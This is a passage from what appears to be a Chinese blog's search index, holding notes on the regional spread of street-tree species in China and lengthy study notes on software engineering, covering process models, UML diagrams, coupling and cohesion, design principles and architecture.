n垂柳\n\n基本全国都有,水边多一些,危险程度低\n\n\n刺槐\n\n早已入侵全国大多数地区,但只有三北这片没什么好的绿化树种的才会用作行道树,危险程度高\n\n\n杜仲\n\n中国特产,除了不耐冷,哪都能种,危险程度较低\n\n\n盾柱木禾银荆\n\n豆科的两种树,红色代表二者都有,橙色代表只有银荆,北方人甚至都没听说过这是啥,危险程度极高\n\n\n鹅掌楸\n\n主要在暖温带和亚热带,危险程度中\n\n\n法国梧桐\n\n作为行道树的绝佳材料,目前几乎全国各地都栽种,危险程度低\n\n\n高山榕\n\n以高山榕为代表的各类榕属行道树只分布在热带,尤以闽语区较多,危险程度极高\n\n榕属重庆也很常见,小叶榕大叶榕\n\n\n\n国槐\n\n现在很多地方也都有了,不过还是北方更倾向用,危险程度较低\n\n\n旱柳\n\n基本全国都有,但也是只有北方相对干旱才会选择较多一些,危险程度中等\n\n\n合欢\n\n只有非常冷的地方没有,危险程度低\n\n\n黑杨&加杨\n\n前者主要以北方为主,尤其以新疆为甚,后者在南方也会种一些,危险程度是较高和较低\n\n\n黄花风铃木\n\n虽然整个北回归线附近都标红了,但还是广东种得最多,危险程度极高\n\n\n金钱松\n\n典型的长江流域植物,黄淮流域也会有一点,危险程度较高\n\n\n辽椴&椴树\n\n典型的以秦岭-淮河为界分布的物种,因为材貌双全,全国各地都有作为行道树,橙色是分布区边缘,种植较少,黄色是过渡带,种植也较少,危险程度偏高\n\n\n栾树\n\n主要区域是汉地十八省,危险程度较低\n\n\n落叶松\n\n典型的三北地区的行道树,一般也是因为比较冷才会种这个,危险程度高\n\n\n毛白杨\n\n分布比较广,但也只有北方常用来作行道树,危险程度比较高\n\n\n毛泡桐&兰考泡桐\n\n比较少见的行道树,但非常特色,比如北京地铁亦庄线两侧,红色区域二者兼有,橙色基本只有兰考桐,浅橙色基本只有毛泡桐,危险程度较高\n\n\n美丽异木棉\n\n热带季风气候专属,危险程度极高\n\n\n木棉\n\n比异木棉好点,危险程度高\n\n深圳好多\n\n\n\n南洋杉\n\n听名字就知道不是北方的东西,危险程度高\n\n四川也有\n\n\n\n七叶树\n\n除了果实非常大可能会砸到人,其它都完美的行道树,现在暖温带和亚热带广泛种植,危险程度中等\n\n\n梧桐\n\n一种不耐寒的树,主要还是南方多(但是太原和青岛也有)\n\n\n香樟树&桂花\n\n这俩八竿子打不着,但分布差不多都是黄河以南,危险程度中高\n\n南昌、苏州全是这两种\n\n\n\n银杏\n\n2.7亿岁的up主,现在全国各地都有粉丝,但作为典型的温带树种,南岭以南、长城以北还是活不了\n\n赤峰、呼和浩特也有\n\n\n\n各类枫树\n\n红色代表元宝槭鸡爪槭都有,浅橙色代表只有鸡爪槭,橙色代表只有元宝槭,深红色则更多是当地的枫树物种,当然别处也有自己的,比如东北的三花槭,湖北的房县槭,云南的漾濞槭。元宝槭和鸡爪槭危险程度低,其它的建议先识花\n\n\n梓属物种\n\n以楸树、梓树和黄金树为代表的梓属物种,依然是除了特别冷和特别热的地方,全国都有,危险程度低\n\n","tags":["summary"]},{"title":"软件工程","url":"/2024/04/15/%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B/","content":"软件工程一、软件工程概述Rational Rose\n软件=程序+数据+文档\n软件工程:用工程化的方法指导计算机软件开发和维护的一门工程学科\n软件工程包括软件开发技术(过程、方法和工具)与软件工程管理\n软件生命(存)周期软件生命周期:软件产品从形成概念开始,经过开发、使用和维护,直到最后退役的全过程\n分为三个时期:软件定义、软件开发和运行维护(也称为软件维护)。每个时期又进一步划分为若干个阶段\n\n\n\n\n阶段\n关键问题\n结束标准\n\n\n\n问题定义\n问题是什么?\n关于规模和目标的报告书\n\n\n可行性研究\n有可行的解吗?\n系统的高层逻辑模型:数据流图、成本/效益分析\n\n\n需求分析\n系统必须做什么?\n系统的逻辑模型:数据流图、数据字典、算法描述\n\n\n总体设计\n概括地说,应该如何解决这个问题?\n可能的解法:系统流程图、成本/效益分析推荐的系统结构:层次图或结构图\n\n\n详细设计\n怎样具体地实现这个系统?\n编码规格说明:HIPO图或PDL\n\n\n编码/单元测试\n正确的程序模块\n源程序清单:单元测试方案和结果\n\n\n综合测试\n符合要求的软件\n综合测试方案和结果:完整一致的软件配置\n\n\n维护\n持久地满足用户需要的软件\n完整准确的维护记录\n\n\n\n例:教材销售系统\n学生购买学校教材的手续可能是:\n\n学生自己写一个希望买什么书的列表,先找系办公室开购书申请(用于确定学生可购买的书,希望用软件实现,完全由教材科控制)\n凭申请找教材科开购书证明(确定是否卖完,希望用计算机实现)\n向财务交付书款获得领书单,然后到书库找保管员领书\n\n\n关于系统规模和目标的报告书\n\n项目名称:教材销售系统\n\n问题:人工发售教材手续繁杂,且易出错\n\n项目目标:建立一个高效率、无差错的教材销售系统\n\n项目规模:利用现有计算机,软件开发费用不超过5000元\n\n初步想法:验证学生可买什么书\n​\t建议在系统中增加对缺书的统计与采购功能\n\n可行性研究:建议进行大约10天的可行性研究,研究费用不超过500元\n\n\n\n\n软件维护\n\n任务:使系统持久地满足用户的需要\n\n改正性维护,诊断和改正在使用过程中发现的软件错误\n适应性维护,修改软件以适应环境的变化\n完善性维护,根据用户的要求改进或扩充软件,工作量最大\n预防性维护,修改软件为将来的维护活动做准备\n\n每一项维护活动实质上是经历了一次压缩和简化了的软件定义和开发的全过程\n\n结果:完整准确的维护记录\n\n\n\n\n软件工程方法\n软件过程模型瀑布模型传统的瀑布模型\n\n\n计划:时间计划、成本计划、人力资源计划等\n\n实际的瀑布模型\n\n\n后续阶段发现前面阶段的错误,使用反馈环返回修改\n\n\n特点:\n\n\n阶段间具有顺序性和依赖性,不允许同时进行\n前一阶段的工作完成之后,才能开始后一阶段的工作\n前一阶段的输出文档就是后一阶段的输入文档\n\n\n推迟实现的观点\n对于规模较大的软件项目来说,往往编码开始得越早最终完成开发工作所需要的时间反而越长\n\n\n质量保证的观点\n每个阶段都必须完成规定的文档,是“文档驱动”的模型\n每个阶段结束前都要对所完成的文档进行评审,尽早发现问题,改正错误\n\n\n\n\n优点:\n\n强迫开发人员采用规范的方法\n严格地规定了每个阶段必须提交的文档\n要求每个阶段交出的所有产品都必须经过质量保证小组的仔细验证\n\n\n缺点:\n\n客户要准确、完整、全部的表达出自己的要求\n缺乏灵活性。一旦需求存在偏差,最终只能终止或者失败(偏差随着系统推进,层层放大,失之毫厘谬以千里)\n用户只能通过文档了解产品,不经过实践的需求时不切实际的\n\n\n适合瀑布模型的项目特征\n\n需求:预知,需求明确\n方案:技术、方法、框架,方案成熟明确\n类似项目:小型项目\n\n\n\nV模型强调了测试在软件开发过程中的重要性\n\n\n适合V模型的项目特征\n需求:很明确\n方案:很明确\n类似项目:系统性能、安全有严格要求等\n\n\n\n增量模型增量模型把软件产品作为一系列的增量构件来设计、编码、集成和测试\n\n\n特点:\n\n该模型假设需求是可以分段的,称为一系列增量产品,每一增量可以单独开发\n比如,使用增量模型开发字处理软件时:\n​\t第一个增量构件往往提供软件的基本需求,提供最核心本的文件管理、编辑和文档生成功能。例输入、插入、新建、存储\n​\t第二个增量构件提供更完善的编辑和文档生成功能,比如菜单,复制、粘贴、另存为等\n​\t第三个增量构件实现拼写和语法检查功能\n​\t第四个增量构件完成高级的页面排版功能\n\n优点:\n作为瀑布模型的变体,拥有瀑布模型的全部优点\n第一个可以交付的版本所需要的成本和时间少,迅速占领市场\n承担的风险小\n当配备的人员有限,不能在设定的期限内完成产品时,可以提供先推出核心产品的途径\n逐步增加产品功能可以使用户有较充裕的时间学习和适应新产品\n\n\n难点:\n软件体系结构必须是开放的\n如果分增量块过多的话,会增加管理成本\n不同的构件并行地构建有可能加快工程进度冒无法集成到一起的风险\n\n\n\n\n增量模型整体以瀑布模型为基准,对瀑布模型的拓展。在概要设计完成后,使用增量模型,分模块进行增量组件的开发。增量组件称为构件,方便软件复用\n\n\n适合增量模型的项目特征\n需求:需求会变动\n方案:对完成期限有严格要求,开发早期阶段获得投资回报,对于市场和用户把握需要逐步了解进行已有产品升级或新版本开发非常合适\n类似项目:适用于商业软件的开发\n\n\n\n\n实例\n微软“同步—稳定的产品开发模型”\n\n将项目分成若干个里程碑\n定义稳定、灵活的体系结构,并为构件和子系统的开发提供统一的接口\n开发构件,维持一个可发布的系统版本\n\n可以准确把握项目进展情况\n增强开发人员的信心和成就感\n可以随时根据市场情况及时作出调整\n\n快速原型模型第一步是快速的建立一个能反应用户主要需求的原型系统,让用户在计算机上试用它,通过实践来了解目标系统的概貌\n\n\n步骤\n\n获取用户需求,描述规格说明书\n使用原型(样本)思想获取用户需求\n\n原型也可能是公司现有的一个类似软件,或只是界面,或只是文档。可能是最终产品能完成的功能的一个子集\n一旦原型完全符合用户需求,开发人员根据其写说明书\n\n\n根据规格说明书开发维护软件\n\n\n\n特点:\n\n软件产品的开发基本上是线性顺序进行的\n快速原型的本质是“快速”。应该尽可能快地建造出原型系统,以加速软件开发过程,节约成本\n在整个开发过程中,初始及多次迭代的原型可能跟用户的需求完全不同,引起客户不满。但同时用户也能随时看到实物和进展\n\n\n适合快速原型模型的项目特征\n\n需求:不明确,不能完整、准确的定义\n希望:减少项目需求的不确定性\n方案:项目很小,较简单。有快速原型开发工具或软件类似产品\n\n\n\n螺旋模型增加了风险分析过程的瀑布模型和快速原型模型混合\n风险分析是对工程建设项目投资决策或企业生产经营决策可能造成的失误和带来的经济损失所进行的估计\n\n特点:\n\n每完成一项任务,都要先进行风险识别,然后风险分析,对存在的风险尽力进行风险控制。若风险很大,无法解决,甚至可以停止工作的进行\n\n图中的四个象限代表了以下活动:\n\n制定计划:确定软件目标,选定实施方案,弄清项目开发的限制条件;(左上)\n风险分析:分析评估所选方案,考虑如何识别和消除风险;(右上)\n实施工程:实施软件开发和验证(右下)\n客户评估:评价开发工作,提出修正建议,制定下一步计划。(左下)\n\n\n优点:\n\n主要优势在于它是风险驱动的。在评估和风险分析阶段都可作出项目是否继续,以规避无法承担的风险\n螺旋循环的次数指示了已消耗的资源\n对可选方案和约束条件的强调有利于已有软件的重用,也有助于把软件质量作为软件开发的一个重要目标\n减少了过多测试或测试不足所带来的风险\n维护只是模型的另一个周期,维护和开发之间没有本质区别\n\n\n缺点:\n\n采用螺旋模型需要具有相当丰富的风险评估经验和专门知识,在风险较大的项目开发中,如果未能够及时标识风险,势必造成重大损失\n过多的迭代次数会增加开发成本,延迟提交时间\n\n\n适合螺旋模型的项目特征\n\n特别适用于庞大、复杂并具有高风险的系统\n适用于内部开发的大规模软件项目\n\n\n\n喷泉模型瀑布模型的一种变体,旨在解决瀑布模型中的一些缺陷,特别是对需求变更的不灵活性\n喷泉模型允许在项目的任何阶段对需求进行调整和修改,使得开发过程更加灵活\n\n\n特点:\n各阶段相互重叠,反映了软件过程并行性的特点\n以分析为基础,资源消耗呈塔形,在分析阶段消耗的资源最多\n反映了软件过程迭代的自然特性,从高层返回低层没有资源消耗\n强调增量式开发,它依据分析一部分就设计一部分的原则,不要求一个阶段的彻底完成。整个过程是一个迭代的逐步细化的过程\n是对象驱动的过程,对象是所有活动作用的实体,也是项目管理的基本内容\n在实现时,由于活动不同,可分为对象实现和系统实现,不但反映了系统的开发全过程,而且也反映了对象族的开发和复用的过程\n\n\n适合喷泉模型的项目特征\n需求可能频繁变更\n强调增量式开发(快速交付)\n\n\n\n总结\n\n\n模型名称\n技术特点\n适用范围\n\n\n\n瀑布模型\n简单,分阶段,阶段间存在因果关系,各个阶段完成后都有评审,允许反馈,不支持用户参与,要求预先确定需求\n需求易于完善定义且不易变更的软件系统\n\n\n增量模型\n软件产品是被增量式地一块块开发的,允许开发活动并行和重叠\n技术风险较大、用户需求较为稳定的软件系统\n\n\n快速原型模型\n不要求需求预先完备定义,支持用户参与,支持需求的渐进式完善和确认,能够适应用户需求的变化\n需求复杂、难以确定、动态变化的软件系统\n\n\n螺旋模型\n结合瀑布模型、快速原型模型和迭代模型的思想,并引进了风险分析活动\n需求难以获取和确定、软件开发风险较大的软件系统\n\n\nUML\nStarUML\n二、需求分析——用例模型&分析模型用例模型\n从描述语言和视角:\n\n用例模型主要使用客户的语言进行描述,它代表了系统的外部视图。这意味着用例模型从客户的角度出发,详细描述了系统应该提供的功能和行为\n分析模型则使用开发人员的语言进行描述,它提供了系统的内部视图。分析模型更注重于系统的内部结构和实现细节,帮助开发人员理解如何构建系统\n\n从构造方式和结构:\n\n用例模型是通过用例来构造的,这些用例提供了外部视图的结构。每个用例都描述了一个特定的系统行为或功能,以及与之相关的输入、输出和前置后置条件\n分析模型则是通过构造型的类或包来构造的,这些类或包提供了内部视图的结构。分析模型更关注于系统的组件、接口和交互关系,以支持系统的设计和实现\n\n用途也存在差异:\n\n用例模型主要用于客户和开发人员之间签订合同时明确系统应该和不应该做什么\n分析模型则主要为开发人员所用,以帮助他们理解如何构造系统,即怎样设计和实现系统\n用例图\n组成\n\n参与者(活动者,Actor)\n用例(Use Case)\n关系(Relationship)\n\n\n\n关系类型\n说明\n表示符号\n\n\n\n关联\n参与者和用例间的关系,调用了(参与者要使用系统的功能)\n\n\n\n泛化(继承)\n表示两个类之间的继承关系,其中一个类是另一个类的特殊情况。\n\n\n\n包含\n表示一个用例包含了另一个用例,用于将一个用例的功能分解为多个较小的、更具体的用例。\n\n\n\n拓展\n表示一个用例在某些条件下可以扩展另一个用例的行为,用于描述用例之间的可选行为。\n\n\n\n\n关联——调用本身\n\n参与者和用例间的关系\n\n泛化(继承)——“is a…”\n\n参与者之间或用例之间\n\n包含(Include)——“has a…”\n\n用例之间的关系\n箭头指向分解出来的功能用例\n箭头出发的用例为基用例。包含用例是必选的,如果缺少包含用例,基用例就不完整。\n\n拓展——特殊情况\n\n用例之间的关系\n箭头指向基础用例\n用例文档\n用例描述文档组成:\n\n用例名称:与用例图同,并写相应编号\n简要说明/描述:简要描述功能\n优先级:标识软件客户对该用例实现状况的期许(满意度1-5、不满意度1-5),数字越大,优先级越高\n参与者(执行者):使用该用例的人或系统等\n前置条件:在用例启动时参与者(actor)与系统应置于什么状态。此状态是系统可识别的\n后置条件:用例结束时系统应置于什么状态。即用例结束时的系统状态或持久数据情况\n\n\n基本事件流:对用例中常规、预期路径的描述。由若干步骤构成一个完整的交互过程\n\n使用主动语句,以执行者或系统为主语\n不涉及到界面细节\n使用业务语言,而不使用专业术语\n\n\n异常事件流:对用例执行中一些异常情况进行描述\n\n业务规则:用例执行中与业务有关的一些规则要求\n\n扩展点:包含用例或扩展用例,此处写出用例名\n\n涉及的业务实体:建立了对象模型后完善\n\n\n用例图示例:\n\n活动图\n组成\n\n初始节点和终点\n活动节点\n转换\n决策与分支、合并\n分岔与汇合\n对象流(可选)\n泳道(可选)\n\n\n初始节点:\n\n\n\n终点:\n\n\n\n活动节点:表示一个活动,一个活动表示一个或多个动作的集合\n\n\n\n转换:\n\n\n\n决策与分支、合并:分支之间是互斥的\n\n\n\n分岔:表示一个控制流被两个或多个控制流代替,经过分岔后,这些控制流是并发进行的\n\n\n\n汇合:与分岔相反,表示两个或多个控制流被一个控制流代替\n\n\n\n对象流:活动和对象之间的关系\n\n\n\n泳道:活动的负责者\n\n\n活动图示例:\n\n带泳道和对象流的活动图示例:\n\n分析模型类图\n类\n\n\n命名\n简单名:Order\n路径名:java::awt::Rectanget\n​\t\tbusinessRule::Order\n​\t\t包名::类名\n属性\n属性名的第一个字母小写\n[可见性] 属性名 [:类型] [=初始值] [{特性}]\na:int\n\npublic(+):即模型中的任何类都可以访问该属性\nprivate(-):表示不能被别的类访问\nprotected(#):表示该属性只能被该类及其子类访问\nPackage(~):这个类只能由同一包中的其他类访问\n\n\n组成\n\n类\n接口\n关系\n注释\n约束\n包\n\n接口:包含抽象方法的声明,但不包含具体实现。接口可以实现多态\n\n\n\n关系:类和类之间的线就是关系\n\n注释:文档不在正式程序中,只做注释说明\n\n约束:{}包含,定义关系约束或者类约束\n\n包:用于逻辑上将复杂的类图模块化,从而更好地组织和理解代码结构。通过将功能和结构相似的类放入同一个包内,可以使得整个系统的结构更加清晰和易于理解\n\n\n\n\n\n关系\n\n关联(普通关联、同类对象角色关联、限定关联):表现在代码实现中,一个对象会作为另一个对象的属性\n聚集(聚合、组合):关联的一种特殊情况。聚集表示类与类之间的关系是整体与部分的关系\n依赖\n\n依赖关系不会增加属性\n\n泛化\n实现\n\n\n普通关联:表明两个类之间存在某种形式的交互或依赖\n\n\n多重性:某个类的对象可以和其他类的多个对象联系\n1对1:学生和学生证\n1对多:一个学院有多名学生\n多对多:一个学生可以选择多门课,一门课也有多名学生\n固定值(1)\n无限定的多个(*)\n一个取值范围:0..1,1..*,0..*,2..5\n\n\n\n自反关联:表示类与自身的关联,即同类不同对象间的联系\n\n\n\n限定关联:利用限定词把一对多关系简化成了一对一关系\n\n\n\n关联类:为了说明关联的性质可能需要一些附加信息。这些信息放到关联的任一方都不合适,可以引入一个关联类来记录这些信息关联类与一般的类一样,也有属性、操作和关联\n\n\n\n聚合:处于部分方的对象可同时参与多个处于整体方对象的构成(弱)\n\n\n\n组合:如果部分类完全隶属于整体类,部分与整体共存,整体不存在了部分也会随之消失(强)\n\n\n\n依赖:描述两个类之间的使用关系,两个类之间是没有关系的,但是一个类的实现需要另一个类的协助,这就产生了依赖\n\n依赖关系的代码表现:\n局部变量、方法参数、对静态方法的调用\n\n\n关联是很稳定的关系,依赖是弱关系。\n表现在代码实现中,一个对象会作为另一个对象的属性是关联\n一个对象的实现用到另一个对象的方法是依赖\n\n关联有可能是双向关系\n依赖不可能是双向关系\n\n\n泛化:就是通常所说的继承关系,泛化针对类型而不针对实例,通常包含类与类之间的继承关系和类与接口实现关系\n\n\n没有具体对象的类称为抽象类,一般作为父类,用于描述其他类(子类)的公共属性和行为。在类名、操作下方附加一个标记值**{abstract}*表示,也可用斜体*表示类名称和属性、方法\n\n\n\n实现:对应于类和接口之间的关系\n\n\n总结\n两个类之间,分析是否为泛化、实现、依赖。\n如果不是,分析是否是聚合、组合。\n如果不是,考虑是否存在关联类、自身关联。\n如果不是,为普通关联。\n类图示例:\n\n名词识别法构建类图\n人员:系统需要保存或管理其信息的人员,或在系统中中扮演一定角色的人员\n\n组织:在系统中发挥一定作用的组织机构\n\n物品:需要由系统管理的各种物品,包括无形事物\n\n设备:在系统中被使用或由系统进行监控的设备、仪器等,系统运行中的硬件设备(如打印机)除外。\n\n事件:需要由系统长期记忆的事件\n\n\n\n从文档中寻找类(名词)\n确定类之间的关系\n确定操作(动词)\n精化类和类间的关系;绘制类图\n\n顺序图\n组成\n\n对象–Object\n生命线–Lifeline\n控制焦点(激活)–Activation\n消息–Message\n\n对象:通常将发起交互的对象放在左边,将接收消息的对象放在右边。\n\n生命线:表示对象存在的时间,如果对象生命期结束,则用注销符号表示\n\n\n\n\n控制焦点(激活期):生命线下方的矩形框,表示一个控制焦点,表示对象在现在要产生一个交互活动,发消息或者调用\n\n调用消息(同步消息):必须得到回应才能进行下一项操作\n\n发送消息(异步消息):只关注消息发送,不关注消息反馈,在发送后继续自己的操作\n\n返回消息(虚线表示):表示消息的返回。一般同步的返回不需画出,直接隐含,也可使用返回消息强调返回结果值。异步返回需要返回消息\n\n\n\n\n顺序图示例:\n\n补充\n\n消息编号\n\n顺序编号:在每个消息的前面加上一个用冒号隔开的顺序号来表示其顺序\n\n\n嵌套编号:把属于同一个对象发送和接收的消息放在同一层进行编号\n\n\n\n\n选择、循环表示\n交互片段可以用于描述系统中不同组件或对象之间的交互流程\n\n表示分支的操作符\nalt:支持多条件\nopt:支持单条件\n\n表示循环的操作符:loop\n\n\n\n\n分析类\n边界类:处理系统环境和系统内部间的通信\n用户界面类\n系统/设备接口类\n\n\n\n\n\n控制类:定义控制逻辑和事务逻辑\n\n\n\n实体类:记录系统所需要维护的数据和对这些数据的处理行为\n\n\n状态图\n组成\n\n初态\n终态\n中间状态\n转换线\n事件(信号事件:异步、调用事件:同步、变化事件、时间事件)\n\n初态\n\n\n\n终态\n\n\n\n中间状态:用圆角矩形表示,分成上、中、下3部分:\n\n上面部分—–为状态的名称;\n\n中间部分—–为状态下关键变量的名字和值(可无)\n\n下面部分—–是活动表:当前状态下需要做的一些事情,不会改变状态(可无)\n\n\n\n\n\n活动表的语法格式:\n事件名(参数表)/动作表达式\n\n常用的3种标准事件:\nentry事件指定进入该状态的动作;\nexit事件指定退出该状态的动作;\ndo事件则指定在该状态下的动作。\n\n事件表达式的语法:\n事件说明[守卫条件]/动作表达式\n\n守卫条件是一个布尔表达式。如果同时使用事件说明和守卫条件,则当且仅当事件发生且布尔表达式为真时,状态转换才发生。如果只有守卫条件没有事件说明,则只要守卫条件为真状态转换就发生\n事件说明和[守卫条件]至少写一个,动作表达式可以没有\n\n\n信号事件:异步\n\n\n\n变化事件:用关键字When,后面跟布尔表达式\n\n\n\n时间事件:用关键字After\n\n\n状态图示例:\n\n总结\n三、概要设计架构设计——系统分成几个层次,采用什么样的体系架构\n模块设计——每个层次应该包括那些模块构成,需要创建哪些功能模块\n接口设计——模块之间的关系如何,如何进行信息传递\n数据设计——数据结构如何,通过最底层的数据库对整个程序功能进行支撑\n\n模块设计的原理——模块化评价标准:耦合度、内聚度\n\n耦合:如果改变程序中的一个模块,要求另一个模块也同时发生改变,就认为这两个模块发生了耦合\n内聚:衡量一个模块内部各个元素(属性、方法)彼此结合的紧密程度。内聚要高,每个模块完成一个相对独立的特定子功能\n\n低耦合、高内聚\n耦合度\n非直接耦合/完全独立(no direct coupling)\n\n\n\n不可能存在\n\n\n数据耦合(data coupling)\n\n两模块间通过参数交换信息,且交换的信息仅是数据\n\n维护更容易,对一个模块的修改不会使另一个模块产生退化错误\n\n控制耦合(control coupling)\n\n两个模块彼此间传递的信息中有控制信息\n\n\n模块B种存在if语句,并且判断条件和A相关。\n控制耦合多进行解耦,一般会在业务层根据控制条件,调用不同的类。\n\n控制耦合往往是多余的,把模块适当分解之后通常可以用数据耦合代替它\n被调用的模块需知道调用模块的内部结构和逻辑,降低了重用的可能性\n\n特征耦合(stamp coupling)\n\n把整个数据结构作为参数传递而被调用的模块只需要使用其中一部分数据元素\n\n公共环境耦合(common coupling)\n\n一个模块往公共环境送数据,另一个模块从公共环境取数据。即允许一组模块访问同一全局性的数据结构\n\n\n内容耦合(content coupling)\n\n最高程度的耦合,有下列情况即内容耦合:\n\n一个模块访问另一个模块的内部数据\n\n一个模块不通过正常入口转到另一个模块的内部;如使用goto\n\n两个模块有一部分程序代码重叠\n\n一个模块有多个入口\n\n\n\n\n数据耦合传参\n控制耦合通过if语句\n特征耦合给一堆数据,只用一个\n公共环境耦合大家都用公共数据\n内容耦合,代码互相夹杂\n\n内聚度\n偶然内聚(coincidental cohesion)\n\n模块的各成分之间毫无关系;或发现一组语句在两处或多处出现,于是把这些语句作为一个模块以节省内存\n\n评价\n\n模块内各元素之间没有实质性联系,很可能在一种应用场合需要修改这个模块,在另一种应用场合又不允许这种修改,从而陷入困境\n可理解性差,可维护性产生退化\n模块是不可重用的\n\n逻辑内聚(logical cohesion)\n\n一个模块完成的任务在逻辑上属于相同或相似的一类\n\n评价\n\n接口难以理解,造成整体上不易理解\n完成多个操作的代码互相纠缠在一起,即使局部功能的修改有时也会影响全局,导致严重的维护问题\n难以重用\n\n解决方案\n\n模块分解\n\n时间内聚(temporal cohesion)\n\n模块包含的任务必须在同一段时间内执行\n\n评价\n\n时间关系在一定程度上反映了程序某些实质,所以时间内聚比逻辑内聚好一些\n模块内操作之间的关系很弱,与其他模块的操作却有很强的关联\n时间内聚的模块不太可能重用\n\n过程内聚(procedural cohesion)\n\n模块内的处理元素是相关的,而且必须以特定次序执行,特定次序是人为赋予的\n\n评价:\n\n比时间内聚好,至少操作之间是过程关联的\n仍是弱连接,不太可能重用模块\n\n通信内聚(communicational cohesion)\n\n模块中所有元素都使用同一个输入数据和(或)产生同一个输出数据,即在同一个数据结构上操作\n\n评价\n\n模块中各操作紧密相连,比过程内聚更好。\n不能重用\n\n解决方案\n\n分成多个模块,每个模块执行一个操作\n\n顺序内聚(sequential cohesion)\n\n模块的各个成分和同一个功能密切相关,而且这些处理必须顺序执行(一个成分的输出作为另一个成分的输入)\n\n功能内聚(functional cohesion)\n\n模块内所有处理元素(每个处理都是必不可少)属于一个整体,完成一个单一的功能\n\n评价\n\n模块可重用,应尽可能重用\n可隔离错误,维护更容易\n扩充产品功能时更容易\n\n顺序内聚,根据需求可有也可以拆\n通信内聚,对同一个数据结构做操作\n过程内聚,人为限定执行顺序\n时间内聚,同一时间段完成的没什么关系的多个任务\n逻辑内聚,逻辑控制语句来决定那部分操作。和控制耦合对应。一般进行拆模块\n偶然内聚,完全没关系,一般不用\n\n设计原则\nLiskov替换原则(LSP)\n\n任何基类可以出现的地方,子类一定可以出现\n另一种表达方式:子类不能添加任何基类没有的附加约束\n\n这些约束很可能造成使用者无法通过子类正常的使用针对基类的程序\n\n实际操作中,基类往往就是抽象类(行为没有任何实现),甚至是接口\n\n\n开放-封闭原则(OCP)\n\n软件中的对象(类,模块,函数等等)应该对于扩展是开放的,但是对于修改是封闭的。是最重要的,核心设计原则\n核心思想:是对抽象编程,因为抽象相对稳定\n\n\n单一职责原则(SRP)\n\n一个类被改变的原因不能超过一个,也就是说一个类只有一个职责\n\n\n接口隔离原则(ISP)\n\n客户端不应该依赖它不需要的接口;一个类对另一个类的依赖应该建立在最小的接口上\n\n\n依赖倒置原则(DIP)\n\n高层模块不应该依赖低层模块,二者都应该依赖其抽象;抽象不应该依赖细节,细节应该依赖抽象\n高层将服务声明写入抽象层中,底层根据所能实现的服务,就和按个抽象层发生关联。这样割断了高层和底层之间的直接依赖关系,抽象成为整个系统中最稳定的部分\n\n组合/聚合原则:尽量多用聚合方式,少用泛化关系\n架构设计\n软件架构\n一系列相关的抽象,用于指导大型软件系统各方面的设计,是一个系统的草图\n\n主机结构:一台主机多个终端\nC/S(客户机/服务器)\nB/S(浏览器/服务器):演化出多层架构,都是基于MVC模式\nSOA:面向服务的结构\n云架构\n\n\n\n小型图书资料管理系统-架构设计\nBo,存放各种业务处理类和实体类的操作\nPo,存放各种实体类,只含set和get方法,用来创建对象,不对其做任何操作,在使用时传出\nDb,处理和数据库打交道的方法\nDTO,从Db类获取的数据,封装成对象,交给DTO,将来返回给控制层\n定义架构后,开始的概要设计包括:\n\n问题域子系统的设计(PDC)(重点)\n面向对象设计仅需从实现角度对问题域模型做一些补充或修改,主要是增添、合并或分解类与对象、属性及服务,调整继承关系等等。(基于使用的框架、设计原则和设计模式)\n结果表现形式:实现阶段的对象模型——类图\n辅助以相关文档,描述每个类的职责,类的属性,类的服务(服务的参数,服务的功能)\n\n人机交互部分的设计(HIC)(重点)\n是OOD模型的外围组成部分\n确定人机交互的细节,其中包括指定窗口和报表的形式、设计命令层次等项内容\n\n数据部分的设计(DMC)\n\n\n边界类用于描述外部参与者与系统之间的交互\n\n用户界面类:用户和系统进行通信\n\n系统接口类:该系统和其他软件系统进行通信\n\n设备接口类:对硬件设备使用,如各类驱动程序\n\n\n如何标识边界类?\n每一对“用例—参与者”之间确定一个边界类\n问题域模型设计对问题与结构,从实现角度做一些补充或修改,主要是增添、合并或分解类与对象、属性和服务,调整继承关系等\n\n“血”指的是domain object的model层内容\n\n\n失血模型\n\ndomain object只有属性的get set方法的纯数据类,所有的业务逻辑完全由Service层来完成的,由于没有DAO,Service直接操作数据库,进行数据持久化\n\n贫血模型\n\ndomain ojbect包含了不依赖于持久化的原子领域逻辑,而组合逻辑在Service层(常见)\n\n充血模型\n\n绝大多业务逻辑都应该被放在domain object里面,包括持久化逻辑,而Service层是很薄的一层,仅仅封装事务和少量逻辑,不和DAO层打交道\n\n贫血模型和充血模型的差别在于,领域模型是否要依赖持久层,贫血模型是不依赖的,而充血模型是依赖的\n\n\n胀血模型\n\n取消了Service层,只剩下domain object和DAO两层,在domain object的domain logic上面封装事务\n控制类协调边界类和实体类\n\n每个用例都对应有一个控制类\n一个控制类可以对应多个用例\n\n数据部分的设计(DMC)将类的属性映射成表的一个字段\n\n特殊情况:\n并不是类中的所有属性均是永久的。例如,发票中的“合计”属性可由计算所得而不需保存在数据库中,此时该类属性(称为派生属性)不映射\n一般地,类中的属性是单值的,但如果在类中存在多值属性,则该属性映射成多个字段\n\n\n关系到数据库的映射方法\n\n\n一对一关联\n\n两个实体分别映射两张表,两张表主键一样(或一个主键作为另一个的外码)\n\n\n一对多关联\n\n一的主键作为多的外键\n\n\n组合与聚合\n\n一的主键作为多的外键\n\n\n自身关联\n\n自身关联映射到一张表,然后定义一个父节点属性就可以表示\n\n泛化关系:将父子类关系映射为一张表,以父类id作为主键,通过类型字段区分子类,将父子类中其他属性值分别加入表中。实现从类到表的映射\n​\t缺点:里面的字段值可能为空。对空字段进行拆分。\n\n整个类层次映射为单个数据库表\n每个具体子类映射成单个数据库表\n每个类均映射为数据库表\n\n四、详细设计\n模块接口:类接口输入输出数据\n\n类的详细描述,内含数据、方法及方法的参数返回值\n\n算法描述:对模块的实现算法设计并表述\n\n流程图\n\n判定表\n当算法中包含多重嵌套的条件选择时,判定表能够清晰地表示复杂的条件组合与应做的动作之间的对应关系\n适合:单一条件只有两种结果供选择\n由4部分组成:\n\n左上部列出所有条件\n\n左下部是所有可能做的动作\n\n右上部是表示各种条件组合的一个矩阵\n\n右下部是和每种条件组合相对应的动作\n\n\n\n\n\n\n数据描述:局部数据结构\n\n\n模块在运行过程中数据的输入、输出、存储和处理情况,以及模块内部对象之间的关联和交互\n\neg.假设某航空公司规定,乘客可以免费托运重量不超过30kg的行李。\n当行李重量超过30kg时,对头等舱的国内乘客超重部分每公斤收费4元,对其他舱的国内乘客超重部分每公斤收费6元。\n对外国乘客超重部分每公斤收费比国内乘客多一倍,对残疾乘客超重部分每公斤收费比正常乘客少一半。\n\n